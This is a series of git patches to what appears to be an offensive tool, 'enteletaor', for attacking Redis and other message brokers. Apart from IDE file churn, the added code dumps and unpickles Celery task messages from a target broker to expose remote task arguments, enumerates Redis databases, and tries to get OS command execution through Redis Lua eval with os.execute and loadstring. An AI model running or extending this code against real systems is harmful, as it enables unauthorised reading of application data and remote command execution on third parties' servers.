From 1e1b3ba36e507a5433444890e5aa510e5ba4a670 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Tue, 16 Feb 2016 17:33:39 +0100 Subject: [PATCH 1/6] new branch --- .idea/workspace.xml | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/.idea/workspace.xml b/.idea/workspace.xml index f6dafb0..d82d169 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -1,7 +1,7 @@ - + @@ -64,8 +64,8 @@ - - + + @@ -623,7 +623,7 @@ - + @@ -668,11 +668,6 @@ 60 - - + + From 46afa101cb532238580ff9c0344249f76d6ebb74 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:42:26 +0100 Subject: [PATCH 2/6] add: new attack family - proc add: new attack for redis- discover-dbs --- .idea/workspace.xml | 380 ++++++++++-------- ATTACKS.md | 1 + enteletaor_lib/modules/dump/__init__.py | 102 ----- enteletaor_lib/modules/proc/__init__.py | 57 +++ enteletaor_lib/modules/proc/cmd_actions.py | 13 + enteletaor_lib/modules/proc/proc_raw_dump.py | 75 ++++ enteletaor_lib/modules/redis/__init__.py | 5 + .../modules/redis/redis_discover_db.py | 26 ++ enteletaor_lib/modules/redis/redis_dump.py | 1 + 9 files changed, 392 insertions(+), 268 deletions(-) delete mode 100644 enteletaor_lib/modules/dump/__init__.py create mode 100644 enteletaor_lib/modules/proc/__init__.py create mode 100644 enteletaor_lib/modules/proc/cmd_actions.py create mode 100644 enteletaor_lib/modules/proc/proc_raw_dump.py create mode 100644 enteletaor_lib/modules/redis/redis_discover_db.py diff --git a/.idea/workspace.xml b/.idea/workspace.xml index d82d169..df1ac28 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -2,7 +2,15 @@ + + + + + + + + @@ -19,8 +27,10 @@ + + @@ -36,11 +46,11 @@ - - + + - - + + @@ -49,26 +59,13 @@ - + - + - - - - - - - - - - - - - - - + + @@ -92,11 +89,6 @@ @@ -272,7 +269,7 @@ - + + + + + - + - - - + + + + + @@ -619,17 +654,17 @@ - + - - + + - + - + @@ -663,11 +698,6 @@ 29 - - - - - - - @@ -761,7 +784,7 @@ - + @@ -836,17 +859,6 @@ - - - - - - - - - - - @@ -868,9 +880,8 @@ - - - + + @@ -899,7 +910,7 @@ - + @@ -918,7 +929,7 @@ - + @@ -928,8 +939,8 @@ - - + + @@ -939,7 +950,7 @@ - + @@ -949,7 +960,7 @@ - + @@ -976,25 +987,13 @@ - - - - - - - - - - - - - - + + @@ -1007,13 +1006,13 @@ - + - - - - + + + + @@ -1112,16 +1111,6 @@ - - - - - - - - - - @@ -1144,58 +1133,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -1221,10 +1158,59 @@ - + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -1233,22 +1219,84 @@ - - + + - + + - + - - + + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ATTACKS.md b/ATTACKS.md index bc1a36f..fe525bb 100644 --- a/ATTACKS.md +++ b/ATTACKS.md @@ -19,4 +19,5 @@ These attacks can be executed in all of brokers/MQ: #. Looking for sensible information (i.e. user/password) #. Remote command injection #. Listing remote process +#. Remove messages form queues #. Reject all messages stored in queues to avoid clients to receive them diff --git a/enteletaor_lib/modules/dump/__init__.py b/enteletaor_lib/modules/dump/__init__.py deleted file mode 100644 index 08e2e75..0000000 --- a/enteletaor_lib/modules/dump/__init__.py +++ /dev/null @@ -1,102 +0,0 @@ -# -*- coding: utf-8 -*- - -import pickle -import logging - -from time import sleep -from modules import IModule -from kombu import Connection -from kombu.simple import Empty -from kombu.exceptions import SerializationError - -from ...libs.core.structs import CommonData, AppSettings -from ...libs.core.models import IntegerField, StringField, SelectField, validators - -log = logging.getLogger() - -REDIS = "10.211.55.69" - - -class ModuleModel(CommonData): - interval = IntegerField(default=4) - target = StringField([validators.required()]) - export_results = StringField(default="") - import_results = StringField(default=None) - broker_type = SelectField(default="redis", choices=[ - ("redis", "Redis server"), - ("zmq", "ZeroMQ"), - ("amqp", "RabbitMQ broker") - ]) - - -# ---------------------------------------------------------------------- -class RemoteProcessModule(IModule): - """ - Try to extract information from remote processes - """ - __model__ = ModuleModel - - name = "dump" - description = "connect to remote server/s and dumps all available information" - - # ---------------------------------------------------------------------- - def run(self, config): - # -------------------------------------------------------------------------- - # Ver dirty monkey patch to avoid kombu write into screen - # -------------------------------------------------------------------------- - try: - import sys - sys.stderr = open("/dev/null") - except IOError: - pass - - dump_from_celery(config) - - -# ---------------------------------------------------------------------- -def dump_from_celery(config): - """ - Start dumping information - """ - URL = '%s://%s' % (config.broker_type, config.target) - - # with Connection('redis://%s' % REDIS) as conn: - with Connection(URL) as conn: - in_queue = conn.SimpleQueue('celery') - - while 1: - try: - while 1: - message = in_queue.get(block=False, timeout=1) - # message = in_queue.get(block=False, timeout=1) - - # -------------------------------------------------------------------------- - # Try to deserialize - # -------------------------------------------------------------------------- - # Is Pickle info? - try: - deserialized = pickle.loads(message.body) - except SerializationError: - pass - - # Read info - remote_process = deserialized['task'].split(".")[-1] - remote_args = deserialized['args'] - - # Show info - _show_info(remote_process, remote_args) - - except Empty: - # Queue is empty -> wait - log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) - sleep(2) - - -# ---------------------------------------------------------------------- -def _show_info(process, args): - - log.error("Found process information:") - log.error(" - Remote process name: '%s'" % process) - log.error(" - Input parameters:") - for i, x in enumerate(args): - log.error(" -> P%s: %s" % (i, x)) diff --git a/enteletaor_lib/modules/proc/__init__.py b/enteletaor_lib/modules/proc/__init__.py new file mode 100644 index 0000000..a69f24b --- /dev/null +++ b/enteletaor_lib/modules/proc/__init__.py @@ -0,0 +1,57 @@ +# -*- coding: utf-8 -*- + +import logging + +from modules import IModule + +from libs.core.structs import CommonData +from libs.core.models import IntegerField, StringField, SelectField + +from .proc_raw_dump import action_proc_raw_dump +from .cmd_actions import parser_proc_raw_dump + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +class ModuleModel(CommonData): + target = StringField(required=True) + export_results = StringField(default="") + import_results = StringField(default=None) + db = StringField(default=None, label="only for Redis: database to use") + broker_type = SelectField(default="redis", choices=[ + ("redis", "Redis server"), + ("zmq", "ZeroMQ"), + ("amqp", "RabbitMQ broker") + ]) + + +# ---------------------------------------------------------------------- +class RemoteProcessModule(IModule): + """ + Try to extract information from remote processes + """ + __model__ = ModuleModel + __submodules__ = { + 'raw-dump': dict( + help="dump raw remote information process", + cmd_args=parser_proc_raw_dump, + action=action_proc_raw_dump + ), + } + + name = "proc" + description = "try to discover and handle processes in remote MQ/Brokers" + + # ---------------------------------------------------------------------- + def run(self, config): + # -------------------------------------------------------------------------- + # Ver dirty monkey patch to avoid kombu write into screen + # -------------------------------------------------------------------------- + try: + import sys + sys.stderr = open("/dev/null") + except IOError: + pass + + super(RemoteProcessModule, self).run(config) diff --git a/enteletaor_lib/modules/proc/cmd_actions.py b/enteletaor_lib/modules/proc/cmd_actions.py new file mode 100644 index 0000000..a21aa9f --- /dev/null +++ b/enteletaor_lib/modules/proc/cmd_actions.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- + +""" +This file contains command line actions for argparser +""" + + +# ---------------------------------------------------------------------- +def parser_proc_raw_dump(parser): + parser.add_argument("--tail", action="store_true", dest="tail_mode", default=False, + help="although all information be dumped do not stop") + parser.add_argument("-I", dest="interval", type=float, default=4, + help="timeout interval between tow connections") diff --git a/enteletaor_lib/modules/proc/proc_raw_dump.py b/enteletaor_lib/modules/proc/proc_raw_dump.py new file mode 100644 index 0000000..5e2dd1f --- /dev/null +++ b/enteletaor_lib/modules/proc/proc_raw_dump.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- + +import six +import logging + +from time import sleep +from kombu import Connection +from kombu.simple import Empty +from six.moves.cPickle import loads +from kombu.exceptions import SerializationError + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_proc_raw_dump(config): + + url = '%s://%s' % (config.broker_type, config.target) + + # with Connection('redis://%s' % REDIS) as conn: + with Connection(url) as conn: + in_queue = conn.SimpleQueue('celery') + + to_inject = [] + already_processed = set() + + while 1: + try: + while 1: + message = in_queue.get(block=False, timeout=1) + + # -------------------------------------------------------------------------- + # Try to deserialize + # -------------------------------------------------------------------------- + # Is Pickle info? + try: + deserialized = loads(message.body) + except SerializationError: + pass + + msg_id = deserialized['id'] + + # Read info + if msg_id not in already_processed: + + remote_process = deserialized['task'].split(".")[-1] + remote_args = deserialized['args'] + + # Show info + log.error("Found process information:") + log.error(" - Remote process name: '%s'" % remote_process) + log.error(" - Input parameters:") + for i, x in enumerate(remote_args): + log.error(" -> P%s: %s" % (i, x)) + + # Store as processed + already_processed.add(msg_id) + + # -------------------------------------------------------------------------- + # Store message to re-send + # -------------------------------------------------------------------------- + to_inject.append(deserialized) + + except Empty: + # When Queue is Empty -> reinject all removed messages + for x in to_inject: + in_queue.put(x, serializer="pickle") + + # Queue is empty -> wait + if config.tail_mode: + log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) + sleep(config.interval) + else: + log.error("No more messages from server. Exiting...") + return diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 60676e1..4b10b1e 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -12,6 +12,7 @@ from .redis_info import action_redis_server_info from .redis_clients import action_redis_server_connected from .redis_disconnect import action_redis_server_disconnect from .redis_shell import action_redis_shell +from .redis_discover_db import action_redis_discover_dbs log = logging.getLogger() @@ -50,6 +51,10 @@ class RedisModule(IModule): cmd_args=parser_redis_server_disconnect, action=action_redis_server_disconnect ), + 'discover-dbs': dict( + help="discover all redis DBs at server", + action=action_redis_discover_dbs + ), # 'shell': dict( # help="open a remote os shell through the Redis server", # action=action_redis_shell diff --git a/enteletaor_lib/modules/redis/redis_discover_db.py b/enteletaor_lib/modules/redis/redis_discover_db.py new file mode 100644 index 0000000..3b56273 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_discover_db.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_discover_dbs(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + log.error("Discovered '%s' DBs at '%s':" % (config.target, con.config_get("databases")['databases'])) + + for db_name, db_content in six.iteritems(con.info("keyspace")): + log.error(" - %s - %s keys" % (db_name.upper(), db_content['keys'])) + + for i in six.moves.range((int(con.config_get("databases")['databases']) - len(con.info("keyspace")))): + log.error(" - DB%s - Empty" % str(i)) diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py index 2dae9ab..1806b27 100644 --- a/enteletaor_lib/modules/redis/redis_dump.py +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -7,6 +7,7 @@ import pprint log = logging.getLogger() +# ---------------------------------------------------------------------- def dump_keys(con): for key in con.keys('*'): From 89e68761ad8be0fae25fb52a543c9db50dc3e431 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:44:35 +0100 Subject: [PATCH 3/6] .idea/workspace.xml --- enteletaor_lib/modules/redis/redis_shell.py | 35 +++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 enteletaor_lib/modules/redis/redis_shell.py diff --git a/enteletaor_lib/modules/redis/redis_shell.py b/enteletaor_lib/modules/redis/redis_shell.py new file mode 100644 index 0000000..06a2c1d --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_shell.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_shell(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + # LUA script + lua_script = '''local value = os.execute(ls) + return value''' + # lua_script = ''' + # eval "os.execute(ls)" + # ''' + + # script = con.register_script(lua_script) + # con.eval('os.execute("ls")', None) + + + lua_script = "dofile('/home/parallels/hola.txt')" + lua_script = "print('/home/parallels/hola.txt')" + lua_script = 'string.find("hello Lua users", "Lua")' + c = con.script_load(lua_script) + con.evalsha(c, 0) \ No newline at end of file From 1aa9d7dd07a3d5fbb0e69c43c163f298913b207c Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:46:25 +0100 Subject: [PATCH 4/6] deleted idea files --- .idea/workspace.xml | 65 ++++++++++++++++++++++++++------------------- 1 file changed, 38 insertions(+), 27 deletions(-) diff --git a/.idea/workspace.xml b/.idea/workspace.xml index df1ac28..b09a9bd 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -2,15 +2,9 @@ - - - - + - - - @@ -46,11 +40,11 @@ - + - - + + @@ -58,6 +52,16 @@ + + + + + + + + + + @@ -108,7 +112,6 @@ @@ -645,7 +649,13 @@ \ No newline at end of file From 6c47da279d34935afdcf86f35f1d91f3cf150ac1 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:46:46 +0100 Subject: [PATCH 5/6] added idea files to gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 9481f2e..845e089 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,7 @@ __pycache__/ # C extensions *.so +.idea # Distribution / packaging .Python From 538a6ed1e76a54c99c2de0ee215ae916bc5337f8 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:47:23 +0100 Subject: [PATCH 6/6] removed redis_shell --- enteletaor_lib/modules/redis/redis_shell.py | 23 ++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/enteletaor_lib/modules/redis/redis_shell.py b/enteletaor_lib/modules/redis/redis_shell.py index 06a2c1d..3af03ea 100644 --- a/enteletaor_lib/modules/redis/redis_shell.py +++ b/enteletaor_lib/modules/redis/redis_shell.py @@ -26,10 +26,27 @@ def action_redis_shell(config): # script = con.register_script(lua_script) # con.eval('os.execute("ls")', None) + # script = con.script_load(lua_script) - lua_script = "dofile('/home/parallels/hola.txt')" lua_script = "print('/home/parallels/hola.txt')" lua_script = 'string.find("hello Lua users", "Lua")' - c = con.script_load(lua_script) - con.evalsha(c, 0) \ No newline at end of file + lua_script = "dofile('/home/parallels/hola.txt')" + lua_script = """local code = [[ + os.execute("ls") + ]] + local h = loadstring(code) + return h()""" + # lua_script = """ + # local x = "Hello World" + # local code = string.dump(function() print(x) end) + # local hi = loadstring(code) + # return hi() + # """ + lua_script=""" + return os.getenv"USER" + """ + print(con.eval(lua_script, 0)) + + # c = con.script_load(lua_script) + # con.evalsha(c, 0) \ No newline at end of file